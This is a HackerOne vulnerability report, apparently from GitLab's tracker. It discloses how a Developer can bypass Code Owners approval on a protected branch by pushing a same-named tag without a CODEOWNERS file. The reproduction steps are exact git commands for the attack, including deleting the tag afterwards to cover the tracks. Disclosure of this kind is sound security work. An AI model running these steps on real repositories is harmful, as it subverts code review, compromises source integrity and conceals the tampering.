Bypassing Code Owners branch protection rule in GitLab
HackerOne report #1898054 by inspector-ambitious
on 2023-03-09, assigned to @cmaxim:
Report | Attachments | How To Reproduce
Report
Summary
I believe I discovered a vulnerability that could potentially allow an attacker with Developer Role access to a repository to circumvent Code Owners approval branch protection when submitting merge requests.
This could be accomplished by creating a tag with the same name as the protected branch, which would render the Code Owners approval rule ineffective.
The following is extracted from this documentation.
A symbolic ref name. E.g.
master
typically means the commit object referenced byrefs/heads/master
. If you happen to have bothheads/master
andtags/master
, you can explicitly say heads/master to tell Git which one you mean. When ambiguous, a<refname>
is disambiguated by taking the first match in the following rules:If $GIT_DIR/
<refname>
exists, that is what you mean (this is usually useful only for HEAD, FETCH_HEAD, ORIG_HEAD, MERGE_HEAD and CHERRY_PICK_HEAD);
otherwise, refs/
<refname>
if it exists;otherwise, refs/tags/
<refname>
if it exists;otherwise, refs/heads/
<refname>
if it exists;otherwise, refs/remotes/
<refname>
if it exists;otherwise, refs/remotes/
<refname>
/HEAD if it exists.
Consequently by abusing git ambiguous ref name, an attacker could merge the request without the required approval, because a CODEOWNERS
file inside a tag reference will take precedence over the one in the branch assuming both tag and branch have the same name.
Steps to reproduce
To reproduce this vulnerability we will use one repository and 2 accounts
- a maintainer/victim: root
- a developer/attacker: inspector
Step 1: Repository setup (victim context)
-
Create a blank private repository with a
README
. -
Add a
CODEOWNERS
file with the following content
* [@]root
- Create another branch called
devel
based onmain
Please note that since we can't create tags that matches the default branch, this attack can only target a non default branch (hence we will run it against devel
)
- Go to
Settings > Repository
and adddevel
as a protected branch.
Allowed to merge: Developers + Maintainers
Allowed to push and merge: Maintainers
Allowed to force push: Disabled
Code owner approval: Enabled
- Go to
Setting > Merge Requests
and at the bottom of the page tick the boxPrevent editing approval rules in merge requests
and save the changes.
Please note that at this stage the branch devel
is protected, because no Developer
can merge a Merge Request or push to it without prior approval from [@]root
as defined in the CODEOWNERS
file.
- Go to
Project Information > Members
and add[@]inspector
as a member with the roleDeveloper
.
Step 2: The attack (attacker context)
- Clone the repository and create push the malicious tag.
git clone git@gitlab.server:gitlab-instance-xxxx/codeowners_bypass.git
cd codeowners_bypass
git fetch origin # optional
git checkout origin/devel -b devel_tag
rm CODEOWNERS
git add CODEOWNERS
git commit -m "attack"
git push origin devel_tag:refs/tags/devel
At this stage the Code Owners approval rules are disabled.
- Prepare a branch with malicious content.
git checkout origin/devel -b hack
echo 1 > malicious_file
git add malicious_file
git commit -m "add malicious_file"
git push origin hack
- Create a Merge Request from
hack
todevel
and merge it.
- Delete the tag to cover your track
git push origin -d refs/tags/devel
- Finally go to the
devel
branch.
The malicious_file
is there, the devel
branch integrity has been compromised !
What is the current bug behavior?
The merge request can be merged since approval becomes optional.
What is the expected correct behavior?
The merge should be blocked since it requires approval from Code Owners.
Output of checks
While tested on a local instance (15.9.2 ) only, it is likely this vulnerability affects GitLab.com as well.
Impact
This can potentially compromise the integrity of the source code hosted on the repository and/or allow the attacker to execute malicious code on the affected systems (developer machines, stealing Gitlab CI secrets, supply chain attack etc...).
Please also note that the attack does not require any user interaction from the maintainer of the repository to be carried out.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: